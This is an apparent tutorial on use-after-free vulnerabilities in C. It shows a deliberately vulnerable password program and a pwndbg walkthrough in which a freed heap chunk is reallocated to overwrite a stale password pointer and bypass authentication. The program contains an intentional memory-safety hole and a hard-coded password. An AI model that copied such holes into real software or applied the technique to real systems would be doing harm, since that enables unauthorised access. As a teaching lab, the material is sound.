A pointer is a variable which stores an address of a memory location. A pointer becomes “dangling” when it no longer points to a valid memory location.
A use-after-free vulnerability is a specific type of dangling pointer issue. The memory chunk which a pointer was directed to is de-allocated. An attacker then may be able to request a chunk of memory of the same size to control the value the pointer is directed to.
This leads to unintended consequences, including subverting the applications logic, memory leaks and potentially code execution.
The below code illustrates this behaviour:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main () {
void *ptr; // define pointer
printf("1. pointer before malloc() : %p\n",ptr);
ptr = malloc(0x20); // allocate memory and populate pointer with address
printf("2. pointer after malloc() : %p\n",ptr);
free(ptr); // memory is freed, but the pointer address is still valid
printf("3. pointer after free() : %p\n",ptr);
ptr = NULL; // correctly setting pointer to NULL
printf("4. pointer after NULL assignment : %p\n",ptr);
return(0);
}
Running the code shows that at step 3 although the target memory address (0x55e0d23946b0) has been freed, the pointer is still using it’s address.
At step 4 the pointer is correctly assigned to NULL.
1. pointer before malloc() : (nil)
2. pointer after malloc() : 0x55e0d23946b0
3. pointer after free() : 0x55e0d23946b0
4. pointer after NULL assignment : (nil)
Vulnerable Application
Reviewing the code, we can see;
- ptr_password pointer is allocated heap memory on line 27.
- the hard-coded password is copied into ptr_password on line 28.
- The user has the ability to invoke malloc() on line 38, using username option.
- The ptr_password pointer is freed on line 60.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main () {
char *ptr_password;
char userPassword[12];
char inputData[20];
char strPassword[] = "Password1";
for (;;)
{
int selection;
printf("1) password\n");
printf("2) username\n");
printf("3) authenticate\n");
printf("4) quit\n");
printf(">");
scanf("%1d", &selection);
fflush (stdin);
switch(selection){
case 1:
// Enter password
ptr_password = (char *) malloc(0x20);
strcpy(ptr_password,strPassword);
printf ("password: \n");
scanf("%10s", userPassword);
break;
case 2:
// malloc memory chunk
printf ("enter username: \n");
scanf("%10s", inputData);
char *heapChunk;
heapChunk = (char *) malloc(0x20);
strncpy(heapChunk,inputData, sizeof(inputData));
break;
case 4:
exit(0);
break;
default:
printf("Invalid selection\n");
break;
case 3:
// Authenticate
if (strcmp(userPassword,ptr_password) == 0) {
printf("----------------------\n");
printf("Authentication success\n");
printf("----------------------\n");
}
else {
printf("----------------------\n");
printf("Authentication failure\n");
printf("----------------------\n");
free(ptr_password);
}
break;
}
}
return(0);
}
The above code should compile on any recent Linux distribution with;
g++ use_after_free.c -o use_after_free -no-pie -Wl,-z,norelro -z now -ggdb
Exploitation Steps
Start the application in pwndbg, and select option 1 to enter a password.
gdb ./use_after_free
pwndbg> r
Starting program: ./use_after_free
1) password
2) username
3) authenticate
4) quit
>1
password:
test
1) password
2) username
3) authenticate
4) quit
>^C
CTRL+C to break execution and return to pwndbg. Use the vis_heap_chunks command to show the memory is allocated on the heap:
pwndbg> vis_heap_chunks
0x404ab0 0x0000000000000000 0x0000000000000031 ........1.......
0x404ac0 0x64726f7773736150 0x0000000000000031 Password1.......
0x404ad0 0x0000000000000000 0x0000000000000000 ................
0x404ae0 0x0000000000000000 0x0000000000020521 ........!....... <-- Top chunk
We can see our target password value is allocated on the heap.
Next, we need to find the pointer address for the memory. Use the “bt” command to show the previous stack frames, and “f 5” to select the programs code. The “p ptr_password” command will then show us the address of the pointer, and it’s contents.
pwndbg> bt
#0 0x00007ffff7ec6b82 in __GI___libc_read (fd=0, buf=0x4046b0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
#1 0x00007ffff7e4bd51 in _IO_new_file_underflow (fp=0x7ffff7f9f9a0 <_IO_2_1_stdin_>) at libioP.h:948
#2 0x00007ffff7e4d0e6 in __GI__IO_default_uflow (fp=0x7ffff7f9f9a0 <_IO_2_1_stdin_>) at libioP.h:948
#3 0x00007ffff7e211e0 in __vfscanf_internal (s=<optimised out>, format=<optimised out>, argptr=argptr@entry=0x7fffffffde10, mode_flags=mode_flags@entry=2) at vfscanf-internal.c:628
#4 0x00007ffff7e20112 in __isoc99_scanf (format=<optimised out>) at isoc99_scanf.c:30
#5 0x00000000004012c3 in main () at use_after_free.c:20
#6 0x00007ffff7de7565 in __libc_start_main (main=0x401236 <main()>, argc=1, argv=0x7fffffffe128, init=<optimised out>, fini=<optimised out>, rtld_fini=<optimised out>, stack_end=0x7fffffffe118) at ../csu/libc-start.c:332
#7 0x000000000040117e in _start ()
pwndbg> f 5
#5 0x00000000004012c3 in main () at use_after_free.c:20
20 scanf("%d", &selection);
pwndbg> p ptr_password
$1 = 0x404ac0 "Password1"
Freeing Memory
Continue execution, and select option 3 to authenticate. This will fail.
pwndbg> c
Continuing.
3
----------------------
Authentication failure
----------------------
1) password
2) username
3) authenticate
4) quit
>^C
Reviewing stack memory chunk holding the password has now been freed and placed in the tcache bin for reuse, but the pointer is still directed to the same memory address:
pwndbg> vis_heap_chunks
0x404ab0 0x0000000000000000 0x0000000000000031 ........1.......
0x404ac0 0x0000000000000404 0x0000000000404010 .........@@..... <-- tcachebins[0x30][0/1]
0x404ad0 0x0000000000000000 0x0000000000000000 ................
0x404ae0 0x0000000000000000 0x0000000000020521 ........!....... <-- Top chunk
pwndbg> f 5
#5 0x00000000004012c3 in main () at use_after_free.c:20
20 scanf("%d", &selection);
pwndbg> p ptr_password
$2 = 0x404ac0 "\004\004"
Overwriting the Stale Pointer
Return to the program, and select the username option:
>2
enter username:
test
1) password
2) username
3) authenticate
4) quit
>^C
The username entered is allocated using the free chunk the ptr_password pointer was directed to. We have essentially overwritten the password value:
pwndbg> vis_heap_chunks
0x404ab0 0x0000000000000000 0x0000000000000031 ........1.......
0x404ac0 0x0000000074736574 0x0000000000000000 test............
0x404ad0 0x0000000000000000 0x0000000000000000 ................
0x404ae0 0x0000000000000000 0x0000000000020521 ........!....... <-- Top chunk
pwndbg> f 5
#5 0x00000000004012c3 in main () at use_after_free.c:20
20 scanf("%d", &selection);
pwndbg> p ptr_password
$4 = 0x404ac0 "test"
Continuing execution and attempting to authenticate should now be successful:
>3
----------------------
Authentication success
----------------------
1) password
2) username
3) authenticate
4) quit
We have successfully bypassed authentication by exploiting a use-after-free vulnerability 🙂